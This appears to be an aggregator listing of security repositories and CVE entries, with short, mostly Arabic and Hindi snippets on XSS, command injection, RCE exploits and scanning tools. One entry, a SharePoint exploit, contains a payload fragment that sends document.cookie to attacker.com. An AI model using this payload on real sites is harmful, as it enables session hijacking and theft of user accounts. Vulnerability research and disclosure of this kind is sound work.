CVE-2025-41089

CVE-2025-41089: XSS منعكسة في Xibo CMS لقد اكتشفت ثغرة Cross-Site Scripting XSS منعكسة في Xibo CMS v4.1.2. تنبع هذه المشكلة من فشل التطبيق في تعقيم المدخلات المقدمة من المستخدم بشكل صحيح في حقل 'Configuration Name' لبعض الأدوات داخل محرر القوالب. يمكن للمهاجم إنشاء رابط خاص أو تشغيل إجراء يحقن...

CVE-2026-2256-PoC

CVE-2026–2256 إثبات المفهوم الملخص التنفيذي تم تحديد ثغرة حرجة في حقن الأوامر CVE-2026–2256، CVSS X.X في مكوّن أداة Shell ضمن إطار عمل MS-Agent الإصدار 1.5.2. تنشأ الثغرة من عدم كفاية تعقيم المدخلات المتأثرة بالمستخدم والتي تُمرَّر مباشرة إلى سياق تنفيذ الأوامر، مما يتيح تقييم أوامر غير مقصودة...

CVE-2026-20404-MediaTek-modem-remote-DoS-rogue-base-station-scenario-

CVE-2026-20404-MediaTek-modem-remote-DoS-rogue-base-station-scenario- يمكن أن تتسبب مشكلة في التحقق من صحة المدخلات في مودم MediaTek في تعطل النظام رفض الخدمة عن بُعد عندما يتصل جهاز المستخدم UE بمحطة قاعدة خبيثة يتحكم فيها مهاجم دون الحاجة إلى أي تفاعل من المستخدم. يُستخدم كود check.sh المقدم من...

exploit-CVE-2021-22204

CVE-2021-22204 ExifTool का शोषण - मनमाना कोड निष्पादन यह रिपॉजिटरी पसंद है? हमें एक ⭐ दें! केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए। शोषण लेखक @UNICORDev द्वारा @NicPWNs और @Dev-Yeoj भेद्यता विवरण ExifTool संस्करण 7.44 और उससे ऊपर के DjVu फ़ाइल स्वरूप में उपयोगकर्ता डेटा का अनुचि...

exploit_cms_fuel

Fuel CMS 1.4.1 - استغلال تنفيذ الأوامر عن بعد RCE يحتوي هذا المستودع على تطبيق Python 3 لاستغلال إصدار Fuel CMS 1.4.1. تستخدم الأداة CVE-2018-16763 ، وهي ثغرة أمنية حيث يؤدي التحقق غير الكافي من الإدخال في المعاملين filter و preview إلى إمكانية تقييم كود PHP وتنفيذ أوامر عن بعد بدون مصادقة. ⚠️...

EUVD-2026-95107

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

CVE-2026-107296 msgpack5: Decoding negative int64 values mutates the input buffer

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

PHP_CVE-2012-1823

PHP-CGI दूरस्थ कोड निष्पादन भेद्यता CVE-2012-1823 सिद्धांत संदर्भ लेख http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ प्रभावित संस्करण php भेद्यता व्याख्या PHP SAPI और रनिंग मोड सबसे पहले, PHP के रनिंग मोड का परिचय दें। PHP स्रोत कोड डाउनलोड करें, देखेंगे कि इसमें एक निर्देशिका है जि...

CVE-2024-4323

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 نطالب بعودة جميع المواطنين الذين تم أخذهم كرهائن من قبل الجماعة الإرهابية حماس. لن نرتاح حتى يتم إطلاق سراح كل رهينة ويعود إلى منزله بأمان. يمكنك المساعدة في إعادتهم إلى الوطن.https://stories.bringthemhomenow.net/ CVE-2024-4323 نظرة عامة تم تحديد الوظيفتين...

gospider

GoSpider GoSpider - Fast web spider written in Go Painless integrate Gospider into your recon workflow? this project was part of Osmedeus Engine. Check out how it was integrated at @OsmedeusEngine Installation GO install GO111MODULE=on go install github.com/jaeles-project/gospider@latest Docker...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo برنامج بسيط لتوضيح كيفية استغلال ثغرة Log4j CVE-2021-44228 تشغيل العرض التوضيحي: لتشغيل البرنامج، ما عليك سوى تشغيل start.sh على أنظمة UNIX أو start.bat على نظام Windows. سيتم قراءة إدخال المستخدم وتسجيله في وحدة التحكم باستخدام إطار عمل Log4j. بشكل افتراضي، لا توفر رسائل...

CVE-2026-32201-exploit

نظرة عامة استغلال بايثون لـ CVE-2026-32201 - التحقق غير السليم من الإدخال في Microsoft SharePoint Server، مما يسمح بانتحال الشبكة دون مصادقة C:L/I:L. المتأثر: SharePoint Server 2016 Enterprise، 2019، Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

CVE-2026-30048

CVE-2026-30048 - تخزين البرمجة النصية عبر المواقع XSS في NotChatbot WebChat عرض فيديو https://youtu.be/HklaoNKP9H8 خطوات إعادة الإنتاج 1. قم بدمج أداة WebChat باستخدام الحزمة/CDN الرسمي 2. افتح واجهة الدردشة 3. أرسل الحمولة أعلاه كرسالة دردشة 4. أعد تحميل المحادثة أو أعد فتحها 5. لاحظ تنفيذ...

cve-2026-13934

CVE-2026-13934 هذا هو مستودع مشروع العمل. يغطي التحقيق والتحليل والعمل والتقارير في مستودع واحد D088/D091. هذا الملف هو وثيقة الدخول إلى المستودع/اللوحة. للاطلاع على النص الكامل لاتفاقيات المجلدات والمخرجات، راجع docs/conventions.md. يتم تحديث النص الرئيسي الحالة · الاستنتاجات · الروابط عند ترقية...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 حول Magento RCE الوصف تتأثر الإصدارات 2.4.3-p1 والإصدارات الأقدم و2.3.7-p2 والإصدارات الأقدم من Adobe Commerce بثغرة عدم التحقق السليم من المدخلات أثناء عملية إتمام الدفع. لا يتطلب استغلال هذه المشكلة أي تفاعل من المستخدم ويمكن أن يؤدي إلى تنفيذ تعليمات برمجية عشوائي...

CVE-2026-22015-Serverless-Function-Environment-Variable-Injection-via-Event

CVE-2026-22015 – حقن متغيرات البيئة في الدالة بدون خادم عبر الحدث كود البرنامج محاكاة Python Lambda lambdaenvinject.py - Vulnerable function that reads env from event import os, json def handlerevent, context: The event contains environment variable overrides debug feature for key, value in...

CVE-2026-63720-datamodel-code-generator

CVE-2026-63720: حقن كود في datamodel-code-generator عبر customBasePath غير مُتحقَّق منه الخطورة: عالية، CVSS 3.1 7.5 / CVSS 4.0 7.5 مُعتمَد من VulnCheck، بصفتها CNA السقف البيئي نشر خدمة الشبكة: حتى 9.8 المتجه v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N المتجه v3.1:...

Bolt-CMS-3.6.2---Cross-Site-Scripting

Bolt CMS 3.6.2 - ثغرة البرمجة النصية عبر المواقع Bolt CMS 3.6.2 - ثغرة البرمجة النصية عبر المواقع CVE-2018-19933 https://vulners.com/cve/CVE-2018-19933 إثبات الفكرة لاستغلال الثغرة، يتيح Bolt CMS 3.6.2 تنفيذ XSS عبر إدخال نصي عند الضغط على زر المعاينة، كما يتضح من حقل العنوان لمدخلة مُهيأة وجديدة...

icannTLD

icannTLD يمكن الآن استخدام Corelight-update لإنشاء ملفات الإدخال الخاصة بـ icannTLD والحفاظ عليها. وصف السكربت سكربت Zeek يستخدم قائمة ICANN الرسمية لنطاقات المستوى الأعلى TLD مع إطار الإدخال Input Framework لاستخراج المعلومات ذات الصلة من استعلام DNS وتحديد ما إذا كان موثوقًا أم لا. يمكن العثور...

CVE-2025-63419

CVE-2025-63419 CrushFTP 11.3.760 से पहले के संस्करण HTML इंजेक्शन के प्रति संवेदनशील हैं। वेब-आधारित सर्वर में एक सुविधा है जहाँ उपयोगकर्ता फ़ाइलें साझा कर सकते हैं, यह सुविधा फ़ाइलनाम को किसी सैनिटाइज़ेशन के बिना ईमेलबॉडी फ़ील्ड में प्रतिबिंबित करती है, जिससे HTML इंजेक्शन होता है। CWE CWE-79 —...